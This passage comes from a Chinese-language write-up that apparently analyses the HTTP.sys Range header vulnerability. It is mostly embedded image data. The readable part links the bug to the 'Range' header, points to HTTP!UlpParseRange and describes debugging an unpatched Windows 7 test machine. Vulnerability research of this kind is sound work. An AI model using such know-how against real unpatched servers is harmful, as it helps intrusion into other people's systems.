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" alt="" />
值得注意的经验是,每个函数名中都有’range’。 这不禁让我想起了之前Apache HTTPd ‘Range’ 头漏洞, (参见RFC2616章14.35节)。
漏洞数据由 ‘range’ 头带入已经毋庸置疑。 下面要做的是深入研究其产生的原因。如IDA 自动分析出的的HTTP!UlpParseRange 函数的调用关系图所示:
aaarticlea/png;base64,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" alt="" />
这里我使用Vmware搭建了一个未打补丁的Windows 7 SP1 作为测试目标,并且启用了内核调试器, 对所有关键函数设置断点,收集关键数据和内核信息。
